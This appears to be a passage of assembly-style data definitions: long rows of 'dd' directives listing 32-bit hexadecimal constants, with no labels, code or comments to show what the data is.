		dd 83C18D9h, 851D0670h,	0E4EB5BCDh, 594AFDC6h, 3EA544DFh
		dd 74E72569h, 1E9D3B2Bh, 0A7BD07C7h, 56D5FE40h,	0E987B010h
		dd 41292EBBh, 0ABB9D5FEh, 5B0475F9h, 2B0A6D75h,	0A49C3C1h
		dd 0D8DFEACAh, 0CC45CCA9h, 58B4B91h, 17AF6296h,	5113FF8Eh
		dd 9F9A00B1h, 0FBCD055Fh, 5A9CD105h, 22A03DEFh,	9404AA7Fh
		dd 79DFAA01h, 0BED86F84h, 0CC8AB61Eh, 68E25F63h, 3D354DDAh
		dd 0DA2BD6FCh, 0D18B6696h, 143AD469h, 423C5A32h, 4F7FB5D4h
		dd 0A0F210DAh, 6F5DB8AEh, 3C2F507Ah, 755C13BEh,	0FB972EA2h
		dd 0B57AA518h, 186CE14Bh, 7A3ADA98h, 9543B93Bh,	0FD6F151Bh
		dd 8E95E0ABh, 4BA659E1h, 9A088779h, 0FEF7D2E6h,	0E2ED3C1h
		dd 0A5792FFh, 7896AAFBh, 0AF877490h, 8762AE92h,	5A179C0h
		dd 0AFF7557Ch, 8A6FE635h, 1C8130AFh, 75D83AB9h,	0DC6B63C7h
		dd 47565AFAh, 0E30A781Eh, 8726BDC9h, 3515A41Ah,	6407DE35h
		dd 0B49C8F0Dh, 9981F68Dh, 0AE523BE0h, 0AAE4EDC5h, 0F6AFCC3Ah
		dd 62E4D590h, 4BC6A7EAh, 0C3DBD81Dh, 548B4596h,	0D5F5C208h
		dd 13C57144h, 1175F3ADh, 12D21D9Ch, 57315918h, 0AB46D2C5h
		dd 0C096E70Dh, 876276FBh, 72E2BA4Dh, 0E1538C7h,	0E251EDCFh
		dd 2FEDE615h, 31D45D82h, 16A1A381h, 85A94C14h, 0D3FCDE7Bh
		dd 0C946A1C2h, 0FE1682ECh, 0B80BE12Dh, 0BB76BC56h, 13BF47B5h
		dd 15AFAB40h, 0E6FA82DEh, 0EC9503D8h, 0BEFD2906h, 425516A4h
		dd 2D142558h, 269D52CDh, 4EAA75CCh, 0E58DF8EBh,	226F2DE8h
		dd 76E4D77Eh, 0DCBBC7E6h, 0EED645CFh, 5BCAC257h, 524BD476h
		dd 4D60032h, 0F07CF879h, 155C5F12h, 47959D73h, 0B6AD5371h
		dd 0E5E107EEh, 236EE467h, 0F24B14FEh, 8D10DF4Ch, 90D355EBh
		dd 0CCEB9A2Bh, 96247D12h, 7546D62Eh, 0C42D207Dh, 995BDF9h
		dd 0B3A8856Bh, 9E28DF8Eh, 0F5C054EAh, 6C001C7Ch, 5EBBD9FBh
		dd 4B2C54FFh, 6B3B8B75h, 0BAC9AB4Bh, 0F9138F46h, 29F6CE61h
		dd 38FD6510h, 14068634h, 6F654FFBh, 27C1B290h, 3CAA8BD3h
		dd 0B333D620h, 5426B330h, 0D209B8B4h, 79C63575h, 0EE494814h
		dd 1E92BF4Bh, 0CAB2D9F5h, 1E80932Bh, 2B212DBEh,	81E11AA8h
		dd 953FEA1Dh, 7F40DD40h, 55F26BD1h, 0DF393D2Bh,	0C6E20493h
		dd 6BECCC66h, 99773E7Ah, 9C40FDFh, 7720B229h, 89BF2BF9h
		dd 1EDB8105h, 5CC6DA27h, 30BDCFDh, 5E07B360h, 0ED5670A9h
		dd 0F97CE708h, 2ED82345h, 0BE726CB4h, 3B2FA8B2h, 0E5785EE7h
		dd 39D80375h, 7F54682h,	0EE386C66h, 3AB950AAh, 72D38944h
		dd 6671D89Bh, 5E74BB64h, 33B156AEh, 2514CED7h, 0ACA8FB5Dh
		dd 0FC069E3Ch, 0E140BDD0h, 6FF85EF2h, 2BB43774h, 0BB2ABB42h
		dd 4B0E1565h, 7651A645h, 37F48D4Ah, 357CB0F5h, 0FB12BB85h
		dd 0ABD5ECF2h, 0FDBC2E82h, 87889AE5h, 0B2DADFDDh, 29F6F67Ah
		dd 8998311Dh, 0B3E6E1F4h, 72CE6E4Ch, 0CA5F5F83h, 38767FF9h
		dd 1B271845h, 2BF68B89h, 0F56549D6h, 0F0F1134Dh, 65D0F9F7h
		dd 0D7726FDEh, 8C56EB56h, 0FB405D96h, 0B2E40541h, 0CED3F511h
		dd 775B681Fh, 0F114205Bh, 0FE0C9241h, 0D7505FAAh, 0AC04055Ah
		dd 657FB8CFh, 0A89AD2FFh, 0AB8A3ACDh, 8D383305h, 1FA484F3h
		dd 9538C4C2h, 1540DEDh,	0C5A5D9C5h, 5BE5A36Bh, 49F43FA1h
		dd 736B1AF4h, 4F2F461h,	0C35F504Dh, 9DEEACD9h, 689A7B68h
		dd 0B9F2C655h, 9EFC30EDh, 0CD1A190Ch, 15528F07h, 0BF0DC44h
		dd 0F4CB4692h, 6FD624ECh, 0D60F42C6h, 7C78976h,	2DFDCE5Fh
		dd 286737C9h, 650BB745h, 2C7A3F25h, 5572A4C5h, 9CD050EAh
		dd 0B8D4F40h, 6A355658h, 0BAB784B4h, 0CDB1918Dh, 0FC29A8BAh
		dd 735FFA92h, 0CD7FC732h, 0D6065F50h, 6CA1718Eh, 0A5FD2D15h
		dd 0BA99BACCh, 30C7ECDEh, 3EA644A6h, 0D2F7F10Ch, 43F0793Dh
		dd 0AAFEE942h, 8336563Fh, 36E102BBh, 0EA7574CBh, 0AECD55E2h
		dd 0A260B3FBh, 7E37679Bh, 0CE32A120h, 66AEB352h, 0F2263793h
		dd 10164785h, 4A6ADDB9h, 0DA4B4868h, 1E888EABh,	0E54B4C31h
		dd 51F8715Eh, 17101148h, 33085A3Ch, 5D5DB31h, 0D7A8CB06h
		dd 2DC83BA9h, 0A3812D62h, 2B662AB4h, 0DE5656DBh, 0E7BA21F0h
		dd 3A39BEAAh, 1247F56Bh, 418BA870h, 0D3339742h,	7E33BA7Fh
		dd 75AD5098h, 694C1DD0h, 0E4D297FBh, 71B5E4BEh,	52A91B12h
		dd 0FCEDD2AEh, 1320DC32h, 0C31DCC33h, 0BCDD2EDAh, 857FDBE9h
		dd 0FC4680Eh, 0AA849EE9h, 4A3CC0FBh, 72A2D4EBh,	3C8ED495h
		dd 5856616Dh, 14584873h, 7C24344Bh, 83BAA49Dh, 6D58DBFAh
		dd 32B1125Bh, 0E37087E1h, 6A4FC5F6h, 0D13F38CAh, 53CE22F2h
		dd 0DCB5BEA8h, 6C519707h
		dd 1B44CAC5h, 36BD2096h, 137F9323h, 728BAB8Eh, 9A9F01D4h
		dd 2AF6FEE6h, 0C2D23AE3h, 753F507h, 0AAE9A876h,	3F7AA587h
		dd 4ABC3F31h, 735FF98Ah, 242E6DDBh, 756522EFh, 0A73B974Dh
		dd 0F2E91668h, 75F38C2Bh, 1FD62130h, 0C0EFA098h, 945F5D62h
		dd 5692C068h, 149B94E4h, 0AAF8F23Dh, 0C3210E0Ch, 23495167h
		dd 0CD1A5CC9h, 5760310Ah, 357E976Eh, 0C2AD3408h, 7E37699Ah
		dd 0D4A79CBFh, 2F165603h, 99A09AF5h, 0C356FA6Dh, 0E2A3B45Eh
		dd 0BC92BF21h, 8C13502Eh, 6A78FCAEh, 5855A102h,	0AA3D4AF3h
		dd 0A1739B34h, 0C5075D52h, 74B2ABC1h, 0EDE7A225h, 0AD3535C8h
		dd 0FFBBC66Fh, 7E83DDCEh, 8253231Fh, 260A3DC8h,	0BA2AC826h
		dd 0E1FC71C0h, 0EC40A8D5h, 0D9BBB7AAh, 2AF3535Dh, 0E3643F88h
		dd 7D54B87h, 770BF3D1h,	9D9FC5Ch, 732A5E8Eh, 0D761EA80h
		dd 0DFFADC6Bh, 9434E862h, 0ADAF2B2Eh, 0E6925FCBh, 0FEF8F505h
		dd 7C77C289h, 4A725362h, 1743E914h, 3F431705h, 1BDDCB42h
		dd 24DCA055h, 0ADF39F45h, 0F86A7516h, 9BF1D07Dh, 494AAF30h
		dd 0F4491A1Ah, 9F75DD86h, 47B1BBAh, 0B1C34385h,	0B7AE4371h
		dd 0AD57539Dh, 5F1B894Eh, 9808A459h, 2A02ACEDh,	0E610A701h
		dd 14575014h, 103F7BA1h, 0ABA44823h, 8A7D1808h,	84CB0938h
		dd 30E3404Ah, 0E6028EE1h, 2630E231h, 0A04C7B9Ch, 0A0284653h
		dd 18300477h, 6023BF58h, 0F944BD08h, 2054D014h,	0A50187CCh
		dd 50146026h, 623E3FB8h, 8FA0C903h, 290368C2h, 5181C206h
		dd 0D461D1Eh, 4634BCC2h, 1510268h, 0A6A9E33h, 1280A2ADh
		dd 4710604h, 7CA10566h,	572C163Ch, 6387C154h, 63D4741Bh
		dd 0BFCCA337h, 64665200h, 0A08C8454h, 1A00EA40h, 5D1504F7h
		dd 29C2EE8Ah, 0F8B1E60Ah, 87305390h, 6A02E174h,	94CC13DCh
		dd 3D18FA40h, 4D1D633Dh, 7A3441A3h, 0B89A461Ch,	34609351h
		dd 2854A30Eh, 4F98C68Ch, 154D32C3h, 3A2A81AAh, 0C8BFE616h
		dd 0ECE686CBh, 57840FEBh, 83E947D0h, 3525B91Eh,	0A0AA15B7h
		dd 0F467574Bh, 879820A2h, 70FC6569h, 51EE7BAEh,	0E9CC2EF5h
		dd 1EBFD18Bh, 95C90F9Fh, 6BFBDD38h, 93BFF2A6h, 8B4D2F2Fh
		dd 0E12CC97Dh, 35308D82h, 6F61D752h, 0C5A975AFh, 0E196F8CAh
		dd 751A08DAh, 3FA39C5h,	2D8B6427h, 0D54AC378h, 0F86A3EEh
		dd 1ED17174h, 0AA170CECh, 48DE35CEh, 0C9313F0h,	0CF5E179Dh
		dd 12A90A95h, 0FB5DAA3Dh, 0EA269BE5h, 0D1292E74h, 7525ABE7h
		dd 0B702D552h, 948956E1h, 0B7FD395Fh, 3732D94Ah, 0A635D72Ah
		dd 0BE347AAAh, 0BEB73E8Bh, 57E2DBEAh, 9F38A6E4h, 3DA47D69h
		dd 677FE74Eh, 0A8ABED05h, 7D4F739Ch, 4BF2C0B3h,	2AFCF9F0h
		dd 2F7F3E50h, 99D40Ch, 5B7F4751h, 1E0D9AC0h, 8BBD2BF8h
		dd 4A133339h, 17F8973Ah, 1E6FE2C2h, 572EFF6Eh, 42EA5824h
		dd 0E7C9FF69h, 5FD21453h, 7A38E1FDh, 629820D8h,	621B60F6h
		dd 13D61F97h, 0BAB4AF57h, 0AFE9EB90h, 735FEA9Dh, 7E60FD89h
		dd 0BF3B99AEh, 318028D1h, 0B23A5953h, 475FE311h, 0D384F956h
		dd 0F05B2BFCh, 16893C3h, 4BE3B760h, 737CDB50h, 0CBFD95DBh
		dd 0AAB12737h, 0D4D0992Dh, 0CF5E80E1h, 55A1AC04h, 61898D33h
		dd 0C09755E2h, 0BACA817Dh, 0E924FDDBh, 0E2F0D7CEh, 45AFA3F9h
		dd 13573F93h, 8CC47B55h, 0F7CBCA1Ch, 3F95D11Ah,	0F672C0F8h
		dd 2DC2C232h, 6CB99C68h, 7BBD44A9h, 3EF5DF5Ch, 0D00A4DBAh
		dd 607BD5ABh, 0DC5EB62h, 88865DAEh, 0EFCC538Dh,	842AB44Ch
		dd 0BD09BF9Bh, 0B8C9D74Bh, 3D55578Ch, 0D6D272BFh, 0C8702AC9h
		dd 0CEEDD722h, 0A438A8D8h, 0A9633DAEh, 0D29AD78Bh, 9929F869h
		dd 2BA7F417h, 3069DD7Dh, 29D7E9F7h, 340BAD6Eh, 0F3AC987Ch
		dd 4BFAD542h, 0ADB5DCE8h, 6EE3870h, 0A7BA4D91h,	2356992h
		dd 0FC119CCh, 8D44536Bh, 1F1EDEABh, 0F7E7BF58h,	0F6A0FA71h
		dd 119E97E5h, 0E0FF5B2Dh, 9A71912h, 8DF051B5h, 4ED4869Ch
		dd 0DF6C85E2h, 0CB5D19D8h, 585F4320h, 7DE76E47h, 641DB289h
		dd 8905D9D7h, 85A2D6F3h, 9B4BAFA0h, 0C11BDBF6h,	153D4713h
		dd 0F473CAD5h, 23C8F632h, 0D7C59B2Bh, 0BA288D44h, 0C4278530h
		dd 29F61646h, 0A3E3F294h, 4697F99Dh, 0ADBD02B7h, 73114199h
		dd 0A356C941h, 1F6C57E1h, 0CEC4225Ch, 0AAD75637h, 0B128AB8Eh
		dd 4FB5625Fh, 0E52BB972h, 0D6F892D1h, 727DAE3h,	66E03C35h
		dd 9158AE2Bh, 734A4E80h, 0B67BDB74h, 1B2BA504h,	0CAFBDDE6h
		dd 0E733E7D2h, 10FC1FF0h, 5C897D2Dh, 11B53D6Dh,	0D0808BDDh
		dd 0AEC8E993h, 0FA45AF0Fh, 453C13DCh, 720C1A8Fh, 0EE3B7712h
		dd 68B3448Ah, 32D3F815h, 0A0D44B46h, 0AD0E7E77h, 3E638B26h
		dd 2F524ECCh, 0A565DB5Eh, 0C6DEA55Ch, 0CB58A253h, 0C3C974D9h
		dd 0C3AD7BB1h, 25A86CB7h, 0BAA702C4h, 266DC0A4h, 0BDC230B2h
		dd 0D4F31D64h, 175C779Ah, 0A459223Bh, 85C0EABDh, 0F0325D4Ch
		dd 21C9B043h, 0AA9D65FFh, 0BFCE89C9h, 0FC7D6C5h, 0C0405B33h
		dd 425855FCh, 55B0EC29h, 67C36553h, 49D07AEAh, 57F41188h
		dd 12FBB24Ch, 2EED6A26h, 0A53268DEh, 0DD358A4Fh, 5411A472h
		dd 0EFF68C5Bh, 0DEBB5DBDh, 0B76DE2FAh, 0E73D2BD2h, 54A110AFh
		dd 1670B8C0h, 5461792Fh, 93819DB0h, 2E8FE7B5h, 0D06FEF99h
		dd 9E702BCDh, 4565A923h, 7E5A3689h, 75E4EEAAh, 42D8A151h
		dd 4B2B139Eh, 0B38C1F8Eh, 0DFCAFE97h, 7A9CA695h, 51704BF0h
		dd 0F1324EF4h, 2E122947h, 3DDD1D1Eh, 0E16A6DDEh, 9406EE2Bh
		dd 0E2E9B56Eh, 0F2E81BEFh, 0CD20644Ah, 6555B5AEh, 852B6AB4h
		dd 0F1DE6B65h, 0CA0B3B57h, 0AD176CB1h, 55652B9Ah, 7B236FB8h
		dd 402EA0E9h, 0E521EBAEh, 99C2396Eh, 3948576Bh,	9F58A1D3h
		dd 18D030Fh, 833B215Ch,	946D2510h, 5335CD9Eh, 54189FC1h
		dd 0FC21474Dh, 572CFD90h, 3345776Bh, 0CBA38CB0h, 5FF70CCh
		dd 9ABB213Dh, 34597F0Bh, 155A562Dh, 35A15CB1h, 0B7D1D574h
		dd 0EE5162F5h, 673B21FEh, 69A19D2Fh, 0D1E6D544h, 5DD4C19Fh
		dd 0A856BFC1h, 8A454892h, 8F644758h, 635D2096h,	0BEC28717h
		dd 477016F2h, 0C6016EC6h, 7FA13E7Bh, 6B31F2A0h,	0B1BD74AEh
		dd 0E3A5D0EEh, 3CC784B0h, 416BC93Eh, 7158C051h,	2AFD3B5Ch
		dd 17E01F87h, 964E37BDh, 4BBF4771h, 0D51742C0h,	4CFCBFFBh
		dd 9BEC52Eh, 0CD2A8127h, 35C7AEF5h, 7401F60h, 77DD7DAh
		dd 56826953h, 0C55612D4h, 0EB28D834h, 0FF695567h, 0BC0B0CC9h
		dd 17FC2863h, 60C8B59h,	2E56FE23h, 0AF45D789h, 4A7D792Dh
		dd 6B8A67CBh, 581F82FFh, 428846F8h, 2F06BE21h, 6F65BF2Dh
		dd 0E056721Eh, 5E4B4D7Fh, 7DA12BBCh, 0A4A8468Dh, 1C6C2926h
		dd 2AB6352Eh, 524C2B9h,	31811715h, 799D2566h, 7C45F7E1h
		dd 2A5B5A50h, 0D8F743Dh, 2FC73C09h, 0F1F5F73Ch,	0FC25C9E5h
		dd 602A395Bh, 0D77D0949h, 54AE7183h, 0FF701930h, 0F339E96Ah
		dd 317C9CF9h, 0CD0A7514h, 0EBDDDEE4h, 0C9FE0EA6h, 77DA75A5h
		dd 3EC3EF98h, 7EAC0C93h, 64BAABD9h, 9C758D7h, 0D18C9EE5h
		dd 0CE0A1B01h, 6BDBDC15h, 69E46222h, 0E14724E8h, 46577F2Ch
		dd 56951654h, 8FB48985h, 11DC563Eh, 0CF87E51Ch,	0B0CE1879h
		dd 997CB1DAh, 74B09105h, 45B79EC7h, 0F4F9556Bh,	0B0BF7867h
		dd 5CDC9627h, 906EF5F1h, 3A05453Bh, 29D382D2h, 39E8476Fh
		dd 0B2CFEA73h, 0D6AE4A2Ch, 0CE68E2C5h, 73647ED9h, 0BBEA95EDh
		dd 7A53B818h, 2FBC82F1h, 0F20E79A6h, 0BE7E23C5h, 9B399E9Ah
		dd 7F0D4167h, 9BC73C30h
		dd 5E312A85h, 30DD6A9Ch, 3C780DBBh, 0E285D438h,	44B2605Eh
		dd 0DDA83C5h, 6E724D7Eh, 0EFE533A7h, 119560D9h,	1BD7995Eh
		dd 0F0A0BA9Ch, 965236E0h, 0C05C581Fh, 7579406Fh, 8BABD71Eh
		dd 8F96C22Bh, 5A3CD2Fh,	0C5BA5D84h, 0E7DB75A6h,	0CD664BAAh
		dd 1A457FCAh, 0C5EA274Dh, 0AA4C0E09h, 20412AF8h, 0F03C3571h
		dd 0F3C4FAD5h, 99745E1Dh, 0F3E97C20h, 0AA4B6AA7h, 0D97C72C2h
		dd 0FA6068A6h, 54FA3375h, 0FAC7632h, 5DA2321Dh,	28FFCFB4h
		dd 42BE446Fh, 0B45D90CBh, 257F9724h, 46C89DD0h,	81F8BDB1h
		dd 7FAF1F7Eh, 9354D7Bh,	4A015570h, 44117D21h, 55614A98h
		dd 6C8D7FC8h, 5ED9D7FDh, 0CF4D3533h, 0C8FB66F9h, 6AD7CCF3h
		dd 0EFCCC341h, 53145F67h, 3ABC7E94h, 9C292336h,	0DE6EAAF4h
		dd 992580F7h, 0D534AFE0h, 259D7626h, 58BF4FD6h,	0D33C968Fh
		dd 72037378h, 6617AA7Ah, 4690FBD4h, 4C984959h, 9FD372B2h
		dd 89703355h, 43CABC64h, 60D87BAh, 155702DFh, 483F4C65h
		dd 8BA14BC3h, 0AF942BF3h, 615D5351h, 4ED66AF8h,	175A8976h
		dd 0BE30FCC8h, 0B40F302Ah, 836DA5BBh, 45685CC0h, 2FD4D2B4h
		dd 82EEE4B9h, 0F83E2335h, 7434428Bh, 0F662B41Fh, 97D50C28h
		dd 0E88DD397h, 0F7E22383h, 745079F2h, 0B0CE2455h, 93927673h
		dd 86E65275h, 0C897FB1Fh, 0F9F683DFh, 0BC1EF457h, 0FAA07E20h
		dd 0CB8752ADh, 47CFEE21h, 2E1C0175h, 3D50322Dh,	522646Dh
		dd 0DF35E606h, 3A5511C9h, 0AD81C24Dh, 1F565150h, 34D7AD3Ah
		dd 3055E06Bh, 0A2C7D4B4h, 6AFEF4B7h, 1027D3EFh,	0DD5F60F8h
		dd 2026F3E0h, 16732FDh,	0F3D4DBA5h, 0C23EBF37h,	4FEF55C0h
		dd 0DA3C67DAh, 58B8C775h, 0B407DC09h, 0D47B6711h, 0C71D2E89h
		dd 9BDEC8AEh, 0AD2E4B3Dh, 6059BCFDh, 0D285B8EBh, 7463D9D9h
		dd 46B1FB1Dh, 12C0DD08h, 41B9C8F1h, 5A8E94D0h, 19594EB4h
		dd 98BB4DB7h, 55EDCD76h, 0AA7662F8h, 0FECD138Bh, 0FD65FE82h
		dd 32A686B4h, 149B6BE7h, 0ACB37F2Dh, 222BEE3Eh,	0B754708Dh
		dd 374DA8FCh, 8D0D5918h, 0F89EBC21h, 0DB7ED5BBh, 0D8254114h
		dd 6BFAEE89h, 1F9DF0C9h, 87DA6871h, 0AC3ECD84h,	0B786252Eh
		dd 0FDEF4D74h, 0BF8BA7CEh, 7759112Fh, 0F6544697h, 0AAA577Ah
		dd 3D1C7D58h, 0AADCA82Dh, 0A048025Dh, 96274868h, 0B4C9981Ah
		dd 5E14A0A0h, 4834FCE6h, 5F8F3CF6h, 0FA629B62h,	3439218Dh
		dd 1E064726h, 25CB9C8Eh, 9A9314A9h, 0AAE1FAF5h,	52CF2FF4h
		dd 47C4647Dh, 2E4E47A6h, 44BFE2F3h, 0D12A160Bh,	333BD74Eh
		dd 94CAFC22h, 257EDCB8h, 82D0B9D5h, 0D7340656h,	872263B1h
		dd 5C2A7C2h, 0BC39B68Eh, 7C1F37D7h, 0D59DDCB0h,	9BBC3C21h
		dd 9E8753B8h, 66170EA3h, 0A45A72D7h, 0AA192FD6h, 5C919B5Ah
		dd 4708C7D4h, 45FD4657h, 0AF5DFF2Bh, 69EB115Fh,	463EC2F5h
		dd 27880537h, 5DDD5DA0h, 0D4A1E229h, 0E2FAA5BCh, 26F3604Ch
		dd 0FE2F1496h, 0B3D6CC89h, 75FAD17Fh, 4C581819h, 5FC29AF5h
		dd 0BE9D3AD1h, 61A8FD73h, 3DF8E5D4h, 0BA137EC1h, 62E328EDh
		dd 0E6E11C0Fh, 1F8541CEh, 50E9F8CCh, 0E4E47626h, 6FB0FD6Eh
		dd 7DB21E96h, 0C475D8D0h, 0AF285D14h, 0A3D1255Dh, 52CE708Dh
		dd 51F65832h, 0CBF0CDE2h, 2AD5D4EEh, 90123197h,	12DE01B7h
		dd 1B3656Ch, 1A2673F0h,	8D549E36h, 7DEA3E7Ah, 91B1DDF0h
		dd 8701869Ah, 8B5075E9h, 575ACEF6h, 1CC4B47Fh, 5D4C94h
		dd 66426DF6h, 762A7E78h, 0AA569579h, 1CC4BDF6h,	70768F5Eh
		dd 4549A1F1h, 32EDA1B5h, 0DEF4DDC2h, 0D05A017Ah, 13227AE9h
		dd 0D3AF0443h, 5100764Ah, 0C6DD4374h, 0AAF27B15h, 5F595E91h
		dd 0A3B595C9h, 67579B66h, 0CC32ADC6h, 0C1724E98h, 12AB299Ah
		dd 896B1AD2h, 788A6469h, 920B4EA2h, 2DCDAB11h, 1614605Dh
		dd 0FA972675h, 76D1124Ah, 0D12330A5h, 43D543D6h, 0AB1E72B5h
		dd 0A85DBCF3h, 0A97C8A2h, 962C9FDAh, 24C0865Ch,	0C260E29Bh
		dd 8D666343h, 1E3A92EDh, 0F6BE46E4h, 0F6B0ABC5h, 0D8FFEC57h
		dd 73F3701Ch, 0CAA34BAAh, 5204BEF2h, 0A5F91E57h, 4B7E998Eh
		dd 0A115F545h, 1A5ABCCAh, 0AB6A97F9h, 696527AAh, 45089287h
		dd 0C4C5B86Bh, 932AB435h, 0F136EF75h, 764EB87Ah, 0D4B4E95Ch
		dd 0E15DBB78h, 51B06876h, 455EFEEDh, 0CD5D3EE9h, 6F732461h
		dd 0BA9911DCh, 236CB8DFh, 44EF4CF6h, 63F3F877h,	0C8C0838Bh
		dd 3F77D19Ch, 1FFDB659h, 6F5E030Dh, 4D12A84Ah, 0E1FF1713h
		dd 0FB6FEF36h, 133F0ACCh, 0AE59AB47h, 0DFB9F436h, 0B7A78974h
		dd 68227C77h, 491FC770h, 6CFD7C58h, 4E9B61D5h, 352668DEh
		dd 8129A998h, 0B887F1FEh, 7DAC4F71h, 0FA0C2A2Dh, 5778F6DFh
		dd 0E0AD7AB0h, 0D5572DC9h, 6D0DE467h, 0CF3F078Bh, 7A424BE1h
		dd 0FCAB7825h, 0E3DAA7F8h, 0D80F958Bh, 91265C00h, 0F96EEE07h
		dd 0F861BF6Ah, 42CFB6F2h, 0AA567CD5h, 0A090A087h, 82DB25DEh
		dd 172C818Eh, 5ECE94C1h, 0B685E726h, 0DB1683AFh, 937700C1h
		dd 0B0F6A7C7h, 0FCEB93A9h, 0A24DB232h, 0B1F9386Fh, 222489C4h
		dd 0EA1FD414h, 0BA683E70h, 5B2290E2h, 0E9A4D1D6h, 0BE1AEA09h
		dd 0B4D5748h, 91562044h, 5F934E02h, 30D1ECCh, 25776926h
		dd 0F70F6D1Ah, 4BEF074Dh, 5386F720h, 72FD075Fh,	0C765A433h
		dd 88B316Ch, 0E251081Dh, 126FBDD2h, 0B52EC2DCh,	902B7A6Fh
		dd 37D01F87h, 0A2E71C1Ah, 9BD557Ah, 1E7DC350h, 0C6646A8Fh
		dd 0EED7597Ch, 13CF0DD6h, 1E1CDBB2h, 0C2BA8A18h, 36956695h
		dd 30FCAA97h, 290E612Ah, 0B9D630D0h, 0D144395Fh, 5C557A60h
		dd 2630D8D8h, 0F7A84BBDh, 3C2A9380h, 6BE4CA70h,	6224F48Eh
		dd 0AFB73B1h, 0FDDD9D18h, 12AA1113h, 67719985h,	795BC1E6h
		dd 0B8D00C75h, 0D92C8CBCh, 0D136577Bh, 281488A8h, 3B0C7005h
		dd 0DB95EE3h, 95E7EDDFh, 3839434Fh, 3FB61155h, 7AB547D3h
		dd 5830F8F8h, 0B3DC96B8h, 0E2C16528h, 4AC722A0h, 29E054B8h
		dd 553B8B4Bh, 0AD8DF221h, 0D95E477Eh, 25F3B156h, 6A9B69BAh
		dd 0BE8D6A2Ah, 0E3EDDEE3h, 779FD77Dh, 0ABDE4E56h, 25E31AAAh
		dd 52AB0C7Fh, 0E0788459h, 67B612D6h, 2A99DABDh,	0FEB93CAAh
		dd 255E9C81h, 8F0959F9h, 714FB2D6h, 9E789F8Eh, 0F33171D4h
		dd 84C92E6Ch, 0EF731B5Ah, 12DE4ACCh, 0B84C8827h, 0DFE5A39Eh
		dd 94FDD5F6h, 3B3E556Bh, 0E06A4E31h, 1F4ED0E7h,	0B6EBEEAEh
		dd 54515AC4h, 0B0CA785Dh, 2BAC748Fh, 4F0A835Dh,	33F1D31Ch
		dd 0C568921Ah, 848675EBh, 0E1F8CEAFh, 8174FE5Bh, 0F9A8A82Dh
		dd 0D85E05B2h, 0B2F4BD37h, 0DA17EE6h, 0C01D6A51h, 0AFADC515h
		dd 56657196h, 0F1EF0480h, 61421FC0h, 1E9E957Ch,	30AFCFEh
		dd 0ED995D46h, 0C3950C9Ah, 0EDA5C5CFh, 0A7E99D69h, 1F5854D5h
		dd 576CFCB8h, 42AB491Dh, 1A31D4AEh, 0E77026E9h,	0BCDF35AFh
		dd 0E0FA3F6Ch, 322B3DFEh, 3EC9A1CDh, 771B7C2Dh,	0AB9D2E24h
		dd 438305B4h, 280585A8h, 6E43B6CFh, 1DE215D3h, 54F6F015h
		dd 0CA69BF94h, 631AEFEBh, 32ECDEA5h, 67594A5Bh,	0AF07BD6Eh
		dd 2222F544h, 0FB9E4C52h, 14D23DCBh, 25064BC0h,	0EFE4C65Dh
		dd 3FE0CB81h, 6B0E773Eh, 3CEA36F7h, 17FBAA58h, 3749C3EDh
		dd 0FDD4BD98h, 2FD560CCh, 9DB93A94h, 7775B54Bh,	0AF9AB443h
		dd 84E38D2h, 6B4AA66Ah,	77D59B1h, 1A9C556Dh, 0A0B9F69Fh
		dd 3C4C42DFh, 0DF837B9Ah, 2D7BF739h, 6B0DECEAh,	55671853h
		dd 0B881E626h, 75305DD1h, 6CB04B70h, 0D6176462h, 607DD15h
		dd 0EBCDDD99h, 83EDEF3Eh
		dd 0DD5E73C0h, 526DB9F0h, 0AFE3E4A4h, 73C5CCB0h, 6326A5A6h
		dd 2B747E03h, 9B037496h, 7E8BAFA6h, 73A9CEB0h, 0C814AFC0h
		dd 866DE4BEh, 5A2515E5h, 7F3633E0h, 3B5D38B6h, 5A045E17h
		dd 7BFFA135h, 708AAD65h, 313CF2A7h, 0BC3DBFF6h,	0C909A5ABh
		dd 149FC67Eh, 0D495D30Ch, 7E226EC9h, 0BA9E7BD7h, 0FAA91BCAh
		dd 22504BFDh, 0F77A2AE3h, 0CC723C5Fh, 87B4A9B8h, 0F25AEAFFh
		dd 1187691Fh, 0CDCE37DAh, 0ED7AA9C8h, 36F6F3F1h, 0AF83E8C7h
		dd 0B3AC79C4h, 9AC2C281h, 65E3B714h, 7A14DA06h,	0DF005BDBh
		dd 878A3E0Eh, 0ECBBA49Eh, 5D6D45ABh, 8D602859h,	0C94F550Dh
		dd 0B1AA7B5Fh, 0F83C9E88h, 10FFABFAh, 0FADE88E0h, 0E52E695Bh
		dd 0EB507BA6h, 0A4F2E6C9h, 5213FC0Eh, 8AFCBD93h, 64CEEF5Fh
		dd 17D8EED0h, 0D7A7C51h, 739ED2D6h, 52BA80D9h, 564D818h
		dd 0AD000093h, 2087932Ah, 1B442875h, 0FD9FE06Ah, 82DB5723h
		dd 6F5FDA80h, 80BB03F7h, 36FF73ACh, 4E7E7AFBh, 5FE1BD1Ah
		dd 0FEC13B38h, 3068B423h, 0B4CCC3F1h, 7EA9F288h, 9BAD4FA0h
		dd 0FE7B9B96h, 0ED7BFB34h, 0AA18288Eh, 86D4B254h, 4E49DF6Ah
		dd 1AB3B8DAh, 0FD99365Ah, 15C8CBD3h, 0CE112B6Fh, 447866E8h
		dd 3D1F6BA7h, 4B86D0FCh, 5A52A6DBh, 0D37CD9F3h,	985A7553h
		dd 924D7F6Bh, 47D72745h, 0EE1F5576h, 0F18D7D51h, 84865AE3h
		dd 0C2F53A92h, 50B4441Ch, 7E3D5BD7h, 14A46D76h,	439743E8h
		dd 1C1E7266h, 0DE5A6BFAh, 5EC53C75h, 3316960Bh,	0EE5D2A6Eh
		dd 9689EAF4h, 4E125BDAh, 0A128D35h, 55C6CBAh, 26A70FB7h
		dd 0AADB5CA6h, 982BC8C8h, 0B14443F3h, 0B320046Bh, 0C16EEA6Ch
		dd 2736615Fh, 0EEB5141Fh, 0FF59D387h, 0DB863892h, 139FB0D4h
		dd 38EC2FB4h, 7BD13D57h, 993B6787h, 0FD4B3C82h,	76E84223h
		dd 790DFB94h, 0DD274E57h, 0E6995A3Bh, 0C85F22E9h, 0FF5B6759h
		dd 0B51FB43Dh, 6722D632h, 63917992h, 2FF2D6DDh,	715FACC6h
		dd 0AAA2995h, 0B50E4F76h, 79EB4F93h, 0E7237546h, 5832544Eh
		dd 75B0720Eh, 0EE5CE02Bh, 77A883A2h, 0F949A71h,	0C8B0CEDDh
		dd 581072F2h, 0C0F9150Fh, 94535D8Dh, 0AC6E7BDAh, 5134FB52h
